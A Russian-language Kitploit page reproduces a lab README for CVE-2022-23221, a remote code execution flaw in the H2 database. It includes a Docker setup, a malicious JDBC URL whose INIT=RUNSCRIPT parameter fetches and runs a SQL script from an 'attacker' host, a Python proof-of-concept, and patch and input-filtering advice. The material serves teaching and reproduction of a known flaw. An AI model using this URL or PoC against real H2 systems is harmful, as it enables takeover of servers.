Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/straightsang/h2-database-cve-2022-23221
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеБезопасность Баз ДанныхЛаборатории и Практика
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

vulhub/H2-database/CVE-2022-23221

Репозиторий
231 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
# RCE в базе данных H2 (CVE-2022-23221)

---

## 1. Краткое описание

- Ссылка: https://nvd.nist.gov/vuln/detail/cve-2022-23221

- H2 — это система управления реляционными базами данных, которая предоставляет возможность компилировать и выполнять Java-код непосредственно внутри SQL-движка.
- Драйвер H2 разбирает JDBC URL для установления соединения между приложением и базой данных. При этом через параметры конфигурации, включённые в URL, можно управлять начальным состоянием или поведением базы данных.

- В уязвимых версиях H2 до 2.1.210 существует проблема, позволяющая через параметр INIT в JDBC URL выполнять удалённые SQL-скрипты. Злоумышленник эксплуатирует это, внедряя с удалённой стороны специально сформированный SQL-скрипт и выполняя через его внутренние конструкции системные команды, что и приводит к уязвимости CVE-2022-23221.

- Особенности этой уязвимости следующие.
    1. Не требуется аутентификация: любой, у кого есть право вводить JDBC URL, может воспользоваться этой уязвимостью и захватить контроль над системой.
    2. Автоматический запуск при старте сервиса: если злоумышленник изменит только файл конфигурации, RCE (удалённое выполнение кода) произойдёт автоматически при запуске сервиса, использующего H2.
    3. Скрытность: разработчику трудно распознать атаку.
    4. Широкий масштаб ущерба: благодаря высокой скорости и лёгкости H2 используется для разработки и тестирования различных веб-сервисов. Поскольку любой сценарий, где JDBC URL задаётся через файл конфигурации или на основе пользовательского ввода, может стать целью атаки с использованием этой уязвимости, масштаб последствий велик.

- Область воздействия уязвимости
    - Уязвимые версии: H2 ниже 2.1.210
    - Исправленная версия: H2 2.1.210 и выше
<br><br>


## 2. Условия уязвимости

- Версия должна быть ниже H2 2.1.210.
- JDBC URL должен содержать `IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’`.
    1. `IGNORE_UNKNOWN_SETTINGS=TRUE`,  `FORBID_CREATION=FALSE` -> обход настроек безопасности
        - При наличии этих параметров настройки безопасности нейтрализуются, поэтому при инициализации команда выполнения удалённого скрипта не блокируется и выполняется как есть.
    2. `INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql'` -> SQL-команда, автоматически выполняемая при соединении приложения с БД
        - Если в качестве значения параметра INIT указаны SQL-команда RUNSCRIPT и адрес вредоносного скрипта, H2 при установлении соединения между приложением и БД H2 подключается к этому серверу, скачивает файл и выполняет его.
- Скачанный SQL-скрипт должен содержать SQL-конструкцию `CREATE ALIAS`.
    - Конструкция `CREATE ALIAS` внутри удалённо выполняемого скрипта заставляет H2 выполнить Java-функцию из скрипта внутри БД, что в результате приводит к RCE.  
  
<br><br><br>
 

## 3. Настройка окружения

- Сценарий
    - Разворачивается уязвимое окружение H2, и в H2 вводится вредоносный JDBC URL. H2 разбирает этот URL без должной проверки и получает sql-файл с сервера attacker и выполняет его. Если в логах сервера h2-vulnerable появится строка “EXPLOITED” вместе с результатами выполнения команд `id`, `whoami`, `pwd`, это означает, что уязвимое окружение H2 развёрнуто и что в процессе разбора вредоносного JDBC URL файл exploit.sql был удалённо скачан с внешнего сервера attacker и выполнен.
    
- Настройка окружения
    
    ```bash
    docker compose up -d 
    ```
    
    ![docker ps](https://assets.kitploit.com/production/public/readmes/32938/b63bdf793b747d432c74c9246d6173d344cc4a4a7ac3241623b823f7923fb074.png)
    
    - При выполнении команды запускаются следующие окружения.
    - **h2-vulnerable**: H2 2.0.206 (уязвимая версия до патча)
        - Веб-консоль H2: `http://your-ip:8082`
        - TCP-сервер: `tcp://your-ip:9092`
    - **attacker**: HTTP-сервер
        - `http://your-ip:8000` : предоставляет файл `exploit.sql`
        
- После настройки окружения при подключении к http://your-ip:8082 открывается веб-страница H2.

    ![](https://assets.kitploit.com/production/public/readmes/32938/e3e6471c91f777e6445281949e8d333f36663d24f297680755021533c108fb8c.png)
<br><br><br>


## 4. Порядок воспроизведения

: В веб-консоли применяется политика безопасности, поэтому параметры, являющиеся условием уязвимости, могут быть отфильтрованы; таким образом, для воспроизведения уязвимости вредоносный параметр JDBC URL вводится напрямую через CLI, и проверяется результат. 

### [Случай нормального запроса]

- Нормальный JDBC URL: "jdbc:h2:mem:test"

- Команда нормального запроса
    ```bash
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    ```
- Результат выполнения
    ![Выполнение через CLI](https://assets.kitploit.com/production/public/readmes/32938/8932b7443a3cc3ece71427dc1368544c500e347fdbf47fa53937527e7f658acc.png)
    - Запросов, поступивших на сервер attacker, нет 
    - На сервере h2-vulnerable не выводится никаких логов
    
<br>


### [Случай атаки на уязвимость]

- Вредоносный JDBC URL: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

#### 1. Выполнение атаки

- Вредоносный JDBC URL вводится в драйвер H2, чтобы попытаться установить соединение с сервером attacker. При этом есть 2 способа ввода URL.
    
    1. Напрямую ввести вредоносный JDBC URL в H2 Shell через CLI.
    
    ```bash
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    ```
    
    ![Выполнение через CLI](https://assets.kitploit.com/production/public/readmes/32938/57701a19d4898540c0b5d3912cdd3b48548eed389f6c1dab6d532661e41b6427.png)
    <br>

    
    2. Запустить файл PoC.
    
    ```bash
    python3 poc.py
    ```
    
    ![Запуск poc.py](https://assets.kitploit.com/production/public/readmes/32938/d3b37a83cd2848158ae636820a87d2f63e0ada8ffcea358adfb43c0f837b3fb1.png)

    

#### 2. Запрос и выполнение файла 
- H2 в соответствии с указанным в параметре INIT JDBC URL `INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'` запрашивает (HTTP GET) файл exploit.sql у сервера attacker и выполняет его внутри базы данных H2.  
    1. При выполнении `docker logs attacker` можно увидеть лог запроса файла exploit.sql, поступившего с сервера h2-vulnerable.
    ```bash
    docker logs attacker
    ```
        
    ![](https://assets.kitploit.com/production/public/readmes/32938/5523795f55c3754b4680893b844cfc7687d63864029c0a37e7e83a2b6bf499ce.png)
        
    2. Сервер attacker возвращает запрошенный файл exploit.sql, а сервер h2-vulnerable выполняет полученный файл exploit.sql. При этом конструкция CREATE ALIAS внутри скрипта инициирует выполнение Java-кода, в результате чего возникает RCE
<br><br><br>


## 5. Код poc.py
```python
#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys

"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
    
    # H2 서버 준비 대기
    time.sleep(3)
    
    # 검증 우회 파라미터가 포함된 JDBC URL
    # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
    # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
    # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
    jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
    
    try:
        # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
        cmd = [
            'docker', 'exec', 'h2-vulnerable',
            'java', '-cp', '/h2-bin/h2.jar',
            'org.h2.tools.Shell',
            '-url', jdbc_url,
            '-user', 'sa',
            '-password', ''
        ]
        
        # Docker 명령어 실행 및 결과
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=15
        )
        
        return True
        
    except Exception as e:
        print(f"[-] 에러: {e}")
        return False

"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다. 
반환값: 없음
"""
def main():

    if exploit_h2():
        print("[+] 공격 완료")
    else:
        print("[-] 공격 실패")
        sys.exit(1)

if __name__ == "__main__":
    main()

```
<br><br>

## 6. Результаты выполнения

- В результате выполнения файла exploit.sql в логах уязвимого сервера h2-vulnerable выводится строка “EXPLOITED” вместе с результатами выполнения команд `id`, `whoami`, `pwd`.

- Логи можно проверить с помощью `docker logs h2-vulnerable`.
    ```bash
    docker logs h2-vulnerable`
    ```

    ![Проверка результата выполнения](https://assets.kitploit.com/production/public/readmes/32938/2bf92905196b4b8ba6f1cbfd227083fd50b3c875f2b87f05f004c9a2709050dc.png)

=> Это означает, что уязвимая среда h2 была настроена, и в процессе разбора H2 вредоносного JDBC URL удалённая загрузка и выполнение файла прошли успешно.

<br>


## 7. Меры противодействия

- Обновление до версии H2 2.1.210 или выше
    - Содержание патча: ограничение функции выполнения внешних скриптов через параметр INIT
    - Дата релиза: 2022-05-15
- Усиление проверки входных значений JDBC URL: блокировать ввод, содержащий параметры INIT, RUNSCRIPT и т. п., вызывающие удалённое выполнение кода, и проверять ввод JDBC URL на основе белого списка.
- Мониторинг целостности конфигурации и среды: при изменении конфигурационных файлов проверять их на предмет модификации и требовать последующего одобрения администратора.
Скачать инструмент